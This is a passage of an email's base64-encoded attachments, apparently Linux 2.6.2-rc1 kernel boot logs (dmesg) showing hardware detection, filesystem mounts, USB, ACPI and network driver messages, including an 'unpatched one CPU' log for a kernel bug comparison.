c2EwMDYwL3NlcmlvMA0KZGV2aWNlLW1hcHBlcjogNC4wLjAtaW9jdGwgKDIwMDMtMDYtMDQpIGlu aXRpYWxpc2VkOiBkbUB1ay5zaXN0aW5hLmNvbQ0KTkVUOiBSZWdpc3RlcmVkIHByb3RvY29sIGZh bWlseSAyDQpJUDogcm91dGluZyBjYWNoZSBoYXNoIHRhYmxlIG9mIDgxOTIgYnVja2V0cywgNjRL Ynl0ZXMNClRDUDogSGFzaCB0YWJsZXMgY29uZmlndXJlZCAoZXN0YWJsaXNoZWQgMjYyMTQ0IGJp bmQgNjU1MzYpDQpORVQ6IFJlZ2lzdGVyZWQgcHJvdG9jb2wgZmFtaWx5IDENCk5FVDogUmVnaXN0 ZXJlZCBwcm90b2NvbCBmYW1pbHkgMTcNClBNOiBSZWFkaW5nIHBtZGlzayBpbWFnZS4NClBNOiBS ZXN1bWUgZnJvbSBkaXNrIGZhaWxlZC4NCmZvdW5kIHJlaXNlcmZzIGZvcm1hdCAiMy42IiB3aXRo IHN0YW5kYXJkIGpvdXJuYWwNClJlaXNlcmZzIGpvdXJuYWwgcGFyYW1zOiBkZXZpY2UgaGRhNSwg c2l6ZSA4MTkyLCBqb3VybmFsIGZpcnN0IGJsb2NrIDE4LCBtYXggdHJhbnMgbGVuIDEwMjQsIG1h eCBiYXRjaCA5MDAsIG1heCBjb21taXQgYWdlIDMwLCBtYXggdHJhbnMgYWdlIDMwDQpyZWlzZXJm czogY2hlY2tpbmcgdHJhbnNhY3Rpb24gbG9nIChoZGE1KSBmb3IgKGhkYTUpDQpVc2luZyByNSBo YXNoIHRvIHNvcnQgbmFtZXMNClZGUzogTW91bnRlZCByb290IChyZWlzZXJmcyBmaWxlc3lzdGVt KSByZWFkb25seS4NCkZyZWVpbmcgdW51c2VkIGtlcm5lbCBtZW1vcnk6IDE2OGsgZnJlZWQNCkFk ZGluZyAxMDA0MDUyayBzd2FwIG9uIC9kZXYvaGRhMy4gIFByaW9yaXR5Oi0xIGV4dGVudHM6MQ0K Y2Ryb206IDogdW5rbm93biBtcncgbW9kZSBwYWdlDQpoZGM6IEFUQVBJIDI0WCBEVkQtUk9NIENE LVIvUlcgZHJpdmUsIDIwNDhrQiBDYWNoZSwgVURNQSgzMykNClVuaWZvcm0gQ0QtUk9NIGRyaXZl ciBSZXZpc2lvbjogMy4yMA0KbnZpZGlhOiBubyB2ZXJzaW9uIG1hZ2ljLCB0YWludGluZyBrZXJu ZWwuDQpudmlkaWE6IG1vZHVsZSBsaWNlbnNlICdOVklESUEnIHRhaW50cyBrZXJuZWwuDQowOiBu dmlkaWE6IGxvYWRpbmcgTlZJRElBIExpbnV4IHg4NiBudmlkaWEubyBLZXJuZWwgTW9kdWxlICAx LjAtNDQ5NiAgV2VkIEp1bCAxNiAxOTowMzowOSBQRFQgMjAwMw0KY2Ryb206IG9wZW4gZmFpbGVk Lg0KZm91bmQgcmVpc2VyZnMgZm9ybWF0ICIzLjYiIHdpdGggc3RhbmRhcmQgam91cm5hbA0KUmVp c2VyZnMgam91cm5hbCBwYXJhbXM6IGRldmljZSBkbS0yLCBzaXplIDgxOTIsIGpvdXJuYWwgZmly c3QgYmxvY2sgMTgsIG1heCB0cmFucyBsZW4gMTAyNCwgbWF4IGJhdGNoIDkwMCwgbWF4IGNvbW1p dCBhZ2UgMzAsIG1heCB0cmFucyBhZ2UgMzANCnJlaXNlcmZzOiBjaGVja2luZyB0cmFuc2FjdGlv biBsb2cgKGRtLTIpIGZvciAoZG0tMikNClVzaW5nIHI1IGhhc2ggdG8gc29ydCBuYW1lcw0KZm91 bmQgcmVpc2VyZnMgZm9ybWF0ICIzLjYiIHdpdGggc3RhbmRhcmQgam91cm5hbA0KUmVpc2VyZnMg am91cm5hbCBwYXJhbXM6IGRldmljZSBkbS0zLCBzaXplIDgxOTIsIGpvdXJuYWwgZmlyc3QgYmxv Y2sgMTgsIG1heCB0cmFucyBsZW4gMTAyNCwgbWF4IGJhdGNoIDkwMCwgbWF4IGNvbW1pdCBhZ2Ug MzAsIG1heCB0cmFucyBhZ2UgMzANCnJlaXNlcmZzOiBjaGVja2luZyB0cmFuc2FjdGlvbiBsb2cg KGRtLTMpIGZvciAoZG0tMykNClVzaW5nIHI1IGhhc2ggdG8gc29ydCBuYW1lcw0KZm91bmQgcmVp c2VyZnMgZm9ybWF0ICIzLjYiIHdpdGggc3RhbmRhcmQgam91cm5hbA0KUmVpc2VyZnMgam91cm5h bCBwYXJhbXM6IGRldmljZSBkbS0wLCBzaXplIDgxOTIsIGpvdXJuYWwgZmlyc3QgYmxvY2sgMTgs IG1heCB0cmFucyBsZW4gMTAyNCwgbWF4IGJhdGNoIDkwMCwgbWF4IGNvbW1pdCBhZ2UgMzAsIG1h eCB0cmFucyBhZ2UgMzANCnJlaXNlcmZzOiBjaGVja2luZyB0cmFuc2FjdGlvbiBsb2cgKGRtLTAp IGZvciAoZG0tMCkNClVzaW5nIHI1IGhhc2ggdG8gc29ydCBuYW1lcw0KZm91bmQgcmVpc2VyZnMg Zm9ybWF0ICIzLjYiIHdpdGggc3RhbmRhcmQgam91cm5hbA0KUmVpc2VyZnMgam91cm5hbCBwYXJh bXM6IGRldmljZSBkbS00LCBzaXplIDgxOTIsIGpvdXJuYWwgZmlyc3QgYmxvY2sgMTgsIG1heCB0 cmFucyBsZW4gMTAyNCwgbWF4IGJhdGNoIDkwMCwgbWF4IGNvbW1pdCBhZ2UgMzAsIG1heCB0cmFu cyBhZ2UgMzANCnJlaXNlcmZzOiBjaGVja2luZyB0cmFuc2FjdGlvbiBsb2cgKGRtLTQpIGZvciAo ZG0tNCkNClVzaW5nIHI1IGhhc2ggdG8gc29ydCBuYW1lcw0KZm91bmQgcmVpc2VyZnMgZm9ybWF0 ICIzLjYiIHdpdGggc3RhbmRhcmQgam91cm5hbA0KUmVpc2VyZnMgam91cm5hbCBwYXJhbXM6IGRl dmljZSBkbS0xLCBzaXplIDgxOTIsIGpvdXJuYWwgZmlyc3QgYmxvY2sgMTgsIG1heCB0cmFucyBs ZW4gMTAyNCwgbWF4IGJhdGNoIDkwMCwgbWF4IGNvbW1pdCBhZ2UgMzAsIG1heCB0cmFucyBhZ2Ug MzANCnJlaXNlcmZzOiBjaGVja2luZyB0cmFuc2FjdGlvbiBsb2cgKGRtLTEpIGZvciAoZG0tMSkN ClVzaW5nIHI1IGhhc2ggdG8gc29ydCBuYW1lcw0KTlRGUyBkcml2ZXIgMi4xLjYgW0ZsYWdzOiBS L08gTU9EVUxFXS4NCk5URlMgdm9sdW1lIHZlcnNpb24gMy4xLg0KZHJpdmVycy91c2IvY29yZS91 c2IuYzogcmVnaXN0ZXJlZCBuZXcgZHJpdmVyIHVzYmZzDQpkcml2ZXJzL3VzYi9jb3JlL3VzYi5j OiByZWdpc3RlcmVkIG5ldyBkcml2ZXIgaHViDQpSZWFsIFRpbWUgQ2xvY2sgRHJpdmVyIHYxLjEy DQpyZXF1ZXN0X21vZHVsZTogZmFpbGVkIC9zYmluL21vZHByb2JlIC0tIHNuZC1jYXJkLTAuIGVy cm9yID0gMjU2DQppbnRlbDh4MDogY2xvY2tpbmcgdG8gNDgwMDANCnI4MTY5IEdpZ2FiaXQgRXRo ZXJuZXQgZHJpdmVyIDEuMiBsb2FkZWQNCmV0aDA6IElkZW50aWZpZWQgY2hpcCB0eXBlIGlzICdS VEw4MTY5cy84MTEwcycuDQpldGgwOiBSVEw4MTY5IGF0IDB4ZjllOTVjMDAsIDAwOjAzOjBkOjEw OjQ1OjNjLCBJUlEgMTkNCmV0aDA6IEF1dG8tbmVnb3RpYXRpb24gRW5hYmxlZC4NCmV0aDA6IDEw ME1icHMgRnVsbC1kdXBsZXggb3BlcmF0aW9uLg0KTGludXggS2VybmVsIENhcmQgU2VydmljZXMN CiAgb3B0aW9uczogIFtwY2ldIFtjYXJkYnVzXSBbcG1dDQpZZW50YTogQ2FyZEJ1cyBicmlkZ2Ug Zm91bmQgYXQgMDAwMDowMDowOS4wIFsxNTg0OjMwMDVdDQpZZW50YTogSVNBIElSUSBtYXNrIDB4 MDJiMCwgUENJIGlycSAxNw0KU29ja2V0IHN0YXR1czogMzAwMDAwMDYNClllbnRhOiBDYXJkQnVz IGJyaWRnZSBmb3VuZCBhdCAwMDAwOjAwOjA5LjEgWzE1ODQ6MzAwNV0NClllbnRhOiBJU0EgSVJR IG1hc2sgMHgwMmIwLCBQQ0kgaXJxIDE3DQpTb2NrZXQgc3RhdHVzOiAzMDAwMDAwNg0KZWhjaV9o Y2QgMDAwMDowMDowMy4zOiBFSENJIEhvc3QgQ29udHJvbGxlcg0KZWhjaV9oY2QgMDAwMDowMDow My4zOiBpcnEgMjMsIHBjaSBtZW0gZjlmMjEwMDANCmVoY2lfaGNkIDAwMDA6MDA6MDMuMzogbmV3 IFVTQiBidXMgcmVnaXN0ZXJlZCwgYXNzaWduZWQgYnVzIG51bWJlciAxDQpQQ0k6IGNhY2hlIGxp bmUgc2l6ZSBvZiAxMjggaXMgbm90IHN1cHBvcnRlZCBieSBkZXZpY2UgMDAwMDowMDowMy4zDQpl aGNpX2hjZCAwMDAwOjAwOjAzLjM6IFVTQiAyLjAgZW5hYmxlZCwgRUhDSSAxLjAwLCBkcml2ZXIg MjAwMy1EZWMtMjkNCmh1YiAxLTA6MS4wOiBVU0IgaHViIGZvdW5kDQpodWIgMS0wOjEuMDogNiBw b3J0cyBkZXRlY3RlZA0Kb2hjaV9oY2Q6IDIwMDMgT2N0IDEzIFVTQiAxLjEgJ09wZW4nIEhvc3Qg Q29udHJvbGxlciAoT0hDSSkgRHJpdmVyIChQQ0kpDQpvaGNpX2hjZDogYmxvY2sgc2l6ZXM6IGVk IDY0IHRkIDY0DQpvaGNpX2hjZCAwMDAwOjAwOjAzLjA6IE9IQ0kgSG9zdCBDb250cm9sbGVyDQpB UElDIGVycm9yIG9uIENQVTA6IDAwKDQwKQ0Kb2hjaV9oY2QgMDAwMDowMDowMy4wOiBpcnEgMjAs IHBjaSBtZW0gZjlmMjMwMDANCm9oY2lfaGNkIDAwMDA6MDA6MDMuMDogbmV3IFVTQiBidXMgcmVn aXN0ZXJlZCwgYXNzaWduZWQgYnVzIG51bWJlciAyDQpodWIgMi0wOjEuMDogVVNCIGh1YiBmb3Vu ZA0KaHViIDItMDoxLjA6IDIgcG9ydHMgZGV0ZWN0ZWQNCm9oY2lfaGNkIDAwMDA6MDA6MDMuMTog T0hDSSBIb3N0IENvbnRyb2xsZXINCm9oY2lfaGNkIDAwMDA6MDA6MDMuMTogaXJxIDIxLCBwY2kg bWVtIGY5ZjU5MDAwDQpvaGNpX2hjZCAwMDAwOjAwOjAzLjE6IG5ldyBVU0IgYnVzIHJlZ2lzdGVy ZWQsIGFzc2lnbmVkIGJ1cyBudW1iZXIgMw0KaHViIDMtMDoxLjA6IFVTQiBodWIgZm91bmQNCmh1 YiAzLTA6MS4wOiAyIHBvcnRzIGRldGVjdGVkDQpvaGNpX2hjZCAwMDAwOjAwOjAzLjI6IE9IQ0kg SG9zdCBDb250cm9sbGVyDQpvaGNpX2hjZCAwMDAwOjAwOjAzLjI6IGlycSAyMiwgcGNpIG1lbSBm OWY1YjAwMA0Kb2hjaV9oY2QgMDAwMDowMDowMy4yOiBuZXcgVVNCIGJ1cyByZWdpc3RlcmVkLCBh c3NpZ25lZCBidXMgbnVtYmVyIDQNCmh1YiA0LTA6MS4wOiBVU0IgaHViIGZvdW5kDQpodWIgNC0w OjEuMDogMiBwb3J0cyBkZXRlY3RlZA0Kb2hjaTEzOTQ6ICRSZXY6IDEwOTcgJCBCZW4gQ29sbGlu cyA8YmNvbGxpbnNAZGViaWFuLm9yZz4NCm9oY2kxMzk0OiBmdy1ob3N0MDogVW5leHBlY3RlZCBQ Q0kgcmVzb3VyY2UgbGVuZ3RoIG9mIDEwMDAhDQpvaGNpMTM5NDogZnctaG9zdDA6IE9IQ0ktMTM5 NCAxLjAgKFBDSSk6IElSUT1bMTddICBNTUlPPVtkZmZlOTAwMC1kZmZlOTdmZl0gIE1heCBQYWNr ZXQ9WzIwNDhdDQpMaW51eCBhZ3BnYXJ0IGludGVyZmFjZSB2MC4xMDAgKGMpIERhdmUgSm9uZXMN CmFncGdhcnQ6IERldGVjdGVkIFNpUyA2NDggY2hpcHNldA0KYWdwZ2FydDogTWF4aW11bSBtYWlu IG1lbW9yeSB0byB1c2UgZm9yIGFncCBtZW1vcnk6IDgxNk0NCmFncGdhcnQ6IEFHUCBhcGVydHVy ZSBpcyAyNTZNIEAgMHhlMDAwMDAwMA0KaWVlZTEzOTQ6IEhvc3QgYWRkZWQ6IElEOkJVU1swLTAw OjEwMjNdICBHVUlEWzAwMDMwZDUzNzY2MDI2NmNdDQpodWIgMi0wOjEuMDogbmV3IFVTQiBkZXZp Y2Ugb24gcG9ydCAxLCBhc3NpZ25lZCBhZGRyZXNzIDINCkFQSUMgZXJyb3Igb24gQ1BVMDogNDAo NDApDQppbnB1dDogVVNCIEhJRCB2MS4xMCBNb3VzZSBbTG9naXRlY2ggVVNCLVBTLzIgT3B0aWNh bCBNb3VzZV0gb24gdXNiLTAwMDA6MDA6MDMuMC0xDQpkcml2ZXJzL3VzYi9jb3JlL3VzYi5jOiBy ZWdpc3RlcmVkIG5ldyBkcml2ZXIgaGlkDQpkcml2ZXJzL3VzYi9pbnB1dC9oaWQtY29yZS5jOiB2 Mi4wOlVTQiBISUQgY29yZSBkcml2ZXINCmh1YiAzLTA6MS4wOiBuZXcgVVNCIGRldmljZSBvbiBw b3J0IDIsIGFzc2lnbmVkIGFkZHJlc3MgMg0KaW5wdXQ6IFVTQiBISUQgdjEuMTAgTW91c2UgW0N5 cHJlc3MgU2VtaWNvbmR1Y3RvciBVU0IgTXVsdGkgUmVtb3RlIENvbnRyb2xsZXJdIG9uIHVzYi0w MDAwOjAwOjAzLjEtMg0KSElEIGRldmljZSBub3QgY2xhaW1lZCBieSBpbnB1dCBvciBoaWRkZXYN CmhpZDogcHJvYmUgb2YgMy0yOjEuMSBmYWlsZWQgd2l0aCBlcnJvciAtNQ0KcGFycG9ydDA6IFBD LXN0eWxlIGF0IDB4Mjc4ICgweDY3OCkgW1BDU1BQLFRSSVNUQVRFLEVQUF0NCnBhcnBvcnQwOiBp cnEgNSBkZXRlY3RlZA0KcGFycG9ydDA6IGNwcF9kYWlzeTogYWE1NTAwZmYoMzgpDQpwYXJwb3J0 MDogYXNzaWduX2FkZHJzOiBhYTU1MDBmZigzOCkNCnBhcnBvcnQwOiBjcHBfZGFpc3k6IGFhNTUw MGZmKDM4KQ0KcGFycG9ydDA6IGFzc2lnbl9hZGRyczogYWE1NTAwZmYoMzgpDQpscDA6IHVzaW5n IHBhcnBvcnQwIChwb2xsaW5nKS4NCk5FVDogUmVnaXN0ZXJlZCBwcm90b2NvbCBmYW1pbHkgMTAN CkRpc2FibGVkIFByaXZhY3kgRXh0ZW5zaW9ucyBvbiBkZXZpY2UgYzAzNzU5YzAobG8pDQpJUHY2 IG92ZXIgSVB2NCB0dW5uZWxpbmcgZHJpdmVyDQowOiBOVlJNOiBub3QgdXNpbmcgTlZBR1AsIEFH UEdBUlQgaXMgbG9hZGVkISENCmF0a2JkLmM6IFVua25vd24ga2V5IHJlbGVhc2VkICh0cmFuc2xh dGVkIHNldCAyLCBjb2RlIDB4N2Egb24gaXNhMDA2MC9zZXJpbzApLg0KYXRrYmQuYzogVW5rbm93 biBrZXkgcmVsZWFzZWQgKHRyYW5zbGF0ZWQgc2V0IDIsIGNvZGUgMHg3YSBvbiBpc2EwMDYwL3Nl cmlvMCkuDQpldGgwOiBubyBJUHY2IHJvdXRlcnMgcHJlc2VudA0KcGt0Z2VuLmM6IHYxLjM6IFBh Y2tldCBHZW5lcmF0b3IgZm9yIHBhY2tldCBwZXJmb3JtYW5jZSB0ZXN0aW5nLg0KTkVUREVWIFdB VENIRE9HOiBldGgwOiB0cmFuc21pdCB0aW1lZCBvdXQNCn== --=-dz+BR0MQyEpTpwYPNQoK Content-Disposition: attachment; filename=dmesg.unpatched.one_cpu Content-Type: text/plain; name=dmesg.unpatched.one_cpu; charset=ANSI_X3.4-1968 Content-Transfer-Encoding: base64 TGludXggdmVyc2lvbiAyLjYuMi1yYzEgKHJvb3RAc2FoYmkpIChnY2MgdmVyc2lvbiAzLjIuMyAy MDAzMDQyMiAoR2VudG9vIExpbnV4IDEuNCAzLjIuMy1yMywgcHJvcG9saWNlKSkgIzMgRnJpIEph biAyMyAwOTo0MDoxMiBFU1QgMjAwNA0KQklPUy1wcm92aWRlZCBwaHlzaWNhbCBSQU0gbWFwOg0K IEJJT1MtZTgyMDogMDAwMDAwMDAwMDAwMDAwMCAtIDAwMDAwMDAwMDAwOWZjMDAgKHVzYWJsZSkN CiBCSU9TLWU4MjA6IDAwMDAwMDAwMDAwOWZjMDAgLSAwMDAwMDAwMDAwMGEwMDAwIChyZXNlcnZl ZCkNCiBCSU9TLWU4MjA6IDAwMDAwMDAwMDAwZTAwMDAgLSAwMDAwMDAwMDAwMTAwMDAwIChyZXNl cnZlZCkNCiBCSU9TLWU4MjA6IDAwMDAwMDAwMDAxMDAwMDAgLSAwMDAwMDAwMDNmZmQwMDAwICh1 c2FibGUpDQogQklPUy1lODIwOiAwMDAwMDAwMDNmZmQwMDAwIC0gMDAwMDAwMDAzZmZkZjAwMCAo QUNQSSBkYXRhKQ0KIEJJT1MtZTgyMDogMDAwMDAwMDAzZmZkZjAwMCAtIDAwMDAwMDAwNDAwMDAw MDAgKEFDUEkgTlZTKQ0KIEJJT1MtZTgyMDogMDAwMDAwMDBmZmY4MDAwMCAtIDAwMDAwMDAxMDAw MDAwMDAgKHJlc2VydmVkKQ0KV2FybmluZyBvbmx5IDg5Nk1CIHdpbGwgYmUgdXNlZC4NClVzZSBh IEhJR0hNRU0gZW5hYmxlZCBrZXJuZWwuDQo4OTZNQiBMT1dNRU0gYXZhaWxhYmxlLg0KT24gbm9k ZSAwIHRvdGFscGFnZXM6IDIyOTM3Ng0KICBETUEgem9uZTogNDA5NiBwYWdlcywgTElGTyBiYXRj aDoxDQogIE5vcm1hbCB6b25lOiAyMjUyODAgcGFnZXMsIExJRk8gYmF0Y2g6MTYNCiAgSGlnaE1l bSB6b25lOiAwIHBhZ2VzLCBMSUZPIGJhdGNoOjENCkRNSSAyLjMgcHJlc2VudC4NCkFDUEk6IFJT RFAgKHYwMDAgQUNQSUFNICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKSBAIDB4 MDAwZjU1ZDANCkFDUEk6IFJTRFQgKHYwMDEgQSBNIEkgIE9FTVJTRFQgIDB4MTIwMDAzMDIgTVNG VCAweDAwMDAwMDk3KSBAIDB4M2ZmZDAwMDANCkFDUEk6IEZBRFQgKHYwMDEgQSBNIEkgIE9FTUZB Q1AgIDB4MTIwMDAzMDIgTVNGVCAweDAwMDAwMDk3KSBAIDB4M2ZmZDAyMDANCkFDUEk6IE1BRFQg KHYwMDEgQSBNIEkgIE9FTUFQSUMgIDB4MTIwMDAzMDIgTVNGVCAweDAwMDAwMDk3KSBAIDB4M2Zm ZDAzOTANCkFDUEk6IE9FTUIgKHYwMDEgQSBNIEkgIEFNSV9PRU0gIDB4MTIwMDAzMDIgTVNGVCAw eDAwMDAwMDk3KSBAIDB4M2ZmZGYwNDANCkFDUEk6IERTRFQgKHYwMDEgIDFBQkZTIDFBQkZTMDAx IDB4MDAwMDAwMDEgSU5UTCAweDAyMDAyMDI2KSBAIDB4MDAwMDAwMDANCkJ1aWxkaW5nIHpvbmVs aXN0IGZvciBub2RlIDogMA0KS2VybmVsIGNvbW1hbmQgbGluZTogcm9vdD0vZGV2L2hkYTUgdmdh PTc5MQ0KSW5pdGlhbGl6aW5nIENQVSMwDQpQSUQgaGFzaCB0YWJsZSBlbnRyaWVzOiA0MDk2IChv cmRlciAxMjogMzI3NjggYnl0ZXMpDQpEZXRlY3RlZCAyODAwLjgzOSBNSHogcHJvY2Vzc29yLg0K VXNpbmcgdHNjIGZvciBoaWdoLXJlcyB0aW1lc291cmNlDQpDb25zb2xlOiBjb2xvdXIgZHVtbXkg ZGV2aWNlIDgweDI1DQpNZW1vcnk6IDkwNDY2OGsvOTE3NTA0ayBhdmFpbGFibGUgKDE4NzVrIGtl cm5lbCBjb2RlLCAxMjA1MmsgcmVzZXJ2ZWQsIDcxNGsgZGF0YSwgMTMyayBpbml0LCAwayBoaWdo bWVtKQ0KQ2hlY2tpbmcgaWYgdGhpcyBwcm9jZXNzb3IgaG9ub3VycyB0aGUgV1AgYml0IGV2ZW4g aW4gc3VwZXJ2aXNvciBtb2RlLi4uIE9rLg0KQ2FsaWJyYXRpbmcgZGVsYXkgbG9vcC4uLiA1NTM3 Ljc5IEJvZ29NSVBTDQpEZW50cnkgY2FjaGUgaGFzaCB0YWJsZSBlbnRyaWVzOiAxMzEwNzIgKG9y ZGVyOiA3LCA1MjQyODggYnl0ZXMpDQpJbm9kZS1jYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDY1 NTM2IChvcmRlcjogNiwgMjYyMTQ0IGJ5dGVzKQ0KTW91bnQtY2FjaGUgaGFzaCB0YWJsZSBlbnRy aWVzOiA1MTIgKG9yZGVyOiAwLCA0MDk2IGJ5dGVzKQ0KQ1BVOiAgICAgQWZ0ZXIgZ2VuZXJpYyBp ZGVudGlmeSwgY2FwczogYmZlYmZiZmYgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDANCkNQVTog ICAgIEFmdGVyIHZlbmRvciBpZGVudGlmeSwgY2FwczogYmZlYmZiZmYgMDAwMDAwMDAgMDAwMDAw MDAgMDAwMDAwMDANCkNQVTogVHJhY2UgY2FjaGU6IDEySyB1b3BzLCBMMSBEIGNhY2hlOiA4Sw0K Q1BVOiBMMiBjYWNoZTogNTEySw0KQ1BVOiAgICAgQWZ0ZXIgYWxsIGluaXRzLCBjYXBzOiBiZmVi ZmJmZiAwMDAwMDAwMCAwMDAwMDAwMCAwMDAwMDA4MA0KSW50ZWwgbWFjaGluZSBjaGVjayBhcmNo aXRlY3R1cmUgc3VwcG9ydGVkLg0KSW50ZWwgbWFjaGluZSBjaGVjayByZXBvcnRpbmcgZW5hYmxl ZCBvbiBDUFUjMC4NCkNQVSMwOiBJbnRlbCBQNC9YZW9uIEV4dGVuZGVkIE1DRSBNU1JzICgxMikg YXZhaWxhYmxlDQpDUFU6IEludGVsKFIpIFBlbnRpdW0oUikgNCBDUFUgMi44MEdIeiBzdGVwcGlu ZyAwOQ0KRW5hYmxpbmcgZmFzdCBGUFUgc2F2ZSBhbmQgcmVzdG9yZS4uLiBkb25lLg0KRW5hYmxp bmcgdW5tYXNrZWQgU0lNRCBGUFUgZXhjZXB0aW9uIHN1cHBvcnQuLi4gZG9uZS4NCkNoZWNraW5n ICdobHQnIGluc3RydWN0aW9uLi4uIE9LLg0KUE9TSVggY29uZm9ybWFuY2UgdGVzdGluZyBieSBV TklGSVgNCk5FVDogUmVnaXN0ZXJlZCBwcm90b2NvbCBmYW1pbHkgMTYNClBDSTogUENJIEJJT1Mg cmV2aXNpb24gMi4xMCBlbnRyeSBhdCAweGYwMDMxLCBsYXN0IGJ1cz0xDQpQQ0k6IFVzaW5nIGNv bmZpZ3VyYXRpb24gdHlwZSAxDQptdHJyOiB2Mi4wICgyMDAyMDUxOSkNCkFDUEk6IFN1YnN5c3Rl bSByZXZpc2lvbiAyMDAzMTAwMg0KQUNQSTogSW50ZXJwcmV0ZXIgZW5hYmxlZA0KQUNQSTogVXNp bmcgUElDIGZvciBpbnRlcnJ1cHQgcm91dGluZw0KQUNQSTogUENJIFJvb3QgQnJpZGdlIFtQQ0kw XSAoMDA6MDApDQpQQ0k6IFByb2JpbmcgUENJIGhhcmR3YXJlIChidXMgMDApDQpVbmNvdmVyaW5n IFNJUzk2MyB0aGF0IGhpZCBhcyBhIFNJUzUwMyAoY29tcGF0aWJsZT0xKQ0KRW5hYmxpbmcgU2lT IDk2eCBTTUJ1cy4NCkFDUEk6IFBDSSBJbnRlcnJ1cHQgUm91dGluZyBUYWJsZSBbXF9TQl8uUENJ MC5fUFJUXQ0KQUNQSTogRW1iZWRkZWQgQ29udHJvbGxlciBbRUMwXSAoZ3BlIDExKQ0KQUNQSTog UENJIEludGVycnVwdCBMaW5rIFtMTktBXSAoSVJRcyAzIDQgNSA3IDEwICoxMSAxMiAxNCAxNSkN CkFDUEk6IFBDSSBJbnRlcnJ1cHQgTGluayBbTE5LQl0gKElSUXMgMyA0IDUgNyAqMTAgMTEgMTIg MTQgMTUpDQpBQ1BJOiBQQ0kgSW50ZXJydXB0IExpbmsgW0xOS0NdIChJUlFzIDMgNCA1IDcgMTAg KjExIDEyIDE0IDE1KQ0KQUNQSTogUENJIEludGVycnVwdCBMaW5rIFtMTktEXSAoSVJRcyAqMyA0 IDUgNyAxMCAxMSAxMiAxNCAxNSkNCkFDUEk6IFBDSSBJbnRlcnJ1cHQgTGluayBbTE5LRV0gKElS UXMgMyA0IDUgNyAxMCAqMTEgMTIgMTQgMTUpDQpBQ1BJOiBQQ0kgSW50ZXJydXB0IExpbmsgW0xO S0ZdIChJUlFzIDMgNCA1IDcgKjEwIDExIDEyIDE0IDE1KQ0KQUNQSTogUENJIEludGVycnVwdCBM aW5rIFtMTktHXSAoSVJRcyAzIDQgNSA3IDEwICoxMSAxMiAxNCAxNSkNCkFDUEk6IFBDSSBJbnRl cnJ1cHQgTGluayBbTE5LSF0gKElSUXMgMyA0IDUgNyAxMCAqMTEgMTIgMTQgMTUpDQpMaW51eCBQ bHVnIGFuZCBQbGF5IFN1cHBvcnQgdjAuOTcgKGMpIEFkYW0gQmVsYXkNClNDU0kgc3Vic3lzdGVt IGluaXRpYWxpemVkDQpBQ1BJOiBQQ0kgSW50ZXJydXB0IExpbmsgW0xOS0JdIGVuYWJsZWQgYXQg SVJRIDEwDQpBQ1BJOiBQQ0kgSW50ZXJydXB0IExpbmsgW0xOS0NdIGVuYWJsZWQgYXQgSVJRIDEx DQpBQ1BJOiBQQ0kgSW50ZXJydXB0IExpbmsgW0xOS0VdIGVuYWJsZWQgYXQgSVJRIDExDQpBQ1BJ OiBQQ0kgSW50ZXJydXB0IExpbmsgW0xOS0ZdIGVuYWJsZWQgYXQgSVJRIDEwDQpBQ1BJOiBQQ0kg SW50ZXJydXB0IExpbmsgW0xOS0ddIGVuYWJsZWQgYXQgSVJRIDExDQpBQ1BJOiBQQ0kgSW50ZXJy dXB0IExpbmsgW0xOS0hdIGVuYWJsZWQgYXQgSVJRIDExDQpBQ1BJOiBQQ0kgSW50ZXJydXB0IExp bmsgW0xOS0RdIGVuYWJsZWQgYXQgSVJRIDMNCkFDUEk6IFBDSSBJbnRlcnJ1cHQgTGluayBbTE5L QV0gZW5hYmxlZCBhdCBJUlEgMTENClBDSTogVXNpbmcgQUNQSSBmb3IgSVJRIHJvdXRpbmcNClBD STogaWYgeW91IGV4cGVyaWVuY2UgcHJvYmxlbXMsIHRyeSB1c2luZyBvcHRpb24gJ3BjaT1ub2Fj cGknIG9yIGV2ZW4gJ2FjcGk9b2ZmJw0KdmVzYWZiOiBmcmFtZWJ1ZmZlciBhdCAweGMwMDAwMDAw LCBtYXBwZWQgdG8gMHhmODgwYTAwMCwgc2l6ZSAxNjM4NGsNCnZlc2FmYjogbW9kZSBpcyAxMDI0 eDc2OHgxNiwgbGluZWxlbmd0aD0yMDQ4LCBwYWdlcz0xDQp2ZXNhZmI6IHByb3RlY3RlZCBtb2Rl IGludGVyZmFjZSBpbmZvIGF0IGMwMDA6ZTU5MA0KdmVzYWZiOiBzY3JvbGxpbmc6IHJlZHJhdw0K dmVzYWZiOiBkaXJlY3Rjb2xvcjogc2l6ZT0wOjU6Njo1LCBzaGlmdD0wOjExOjU6MA0KZmIwOiBW RVNBIFZHQSBmcmFtZSBidWZmZXIgZGV2aWNlDQpNYWNoaW5lIGNoZWNrIGV4Y2VwdGlvbiBwb2xs aW5nIHRpbWVyIHN0YXJ0ZWQuDQpkZXZmczogdjEuMjIgKDIwMDIxMDEzKSBSaWNoYXJkIEdvb2No IChyZ29vY2hAYXRuZi5jc2lyby5hdSkNCmRldmZzOiBib290X29wdGlvbnM6IDB4MA0KSW5zdGFs bGluZyBrbmZzZCAoY29weXJpZ2h0IChDKSAxOTk2IG9raXJAbW9uYWQuc3diLmRlKS4NCkluaXRp YWxpemluZyBDcnlwdG9ncmFwaGljIEFQSQ0KQUNQSTogQUMgQWRhcHRlciBbQUMwXSAob24tbGlu ZSkNCkFDUEk6IEJhdHRlcnkgU2xvdCBbQkFUMF0gKGJhdHRlcnkgcHJlc2VudCkNCkFDUEk6IFBv d2VyIEJ1dHRvbiAoRkYpIFtQV1JGXQ0KQUNQSTogTGlkIFN3aXRjaCBbTElEXQ0KQUNQSTogU2xl ZXAgQnV0dG9uIChDTSkgW1NMUEJdDQpBQ1BJOiBQcm9jZXNzb3IgW0NQVTFdIChzdXBwb3J0cyBD MSwgOCB0aHJvdHRsaW5nIHN0YXRlcykNCkFDUEk6IFRoZXJtYWwgWm9uZSBbVEhSTV0gKDc1IEMp DQpDb25zb2xlOiBzd2l0Y2hpbmcgdG8gY29sb3VyIGZyYW1lIGJ1ZmZlciBkZXZpY2UgMTI4eDQ4 DQpwdHk6IDI1NiBVbml4OTggcHR5cyBjb25maWd1cmVkDQpTZXJpYWw6IDgyNTAvMTY1NTAgZHJp dmVyICRSZXZpc2lvbjogMS45MCAkIDggcG9ydHMsIElSUSBzaGFyaW5nIGRpc2FibGVkDQp0dHlT 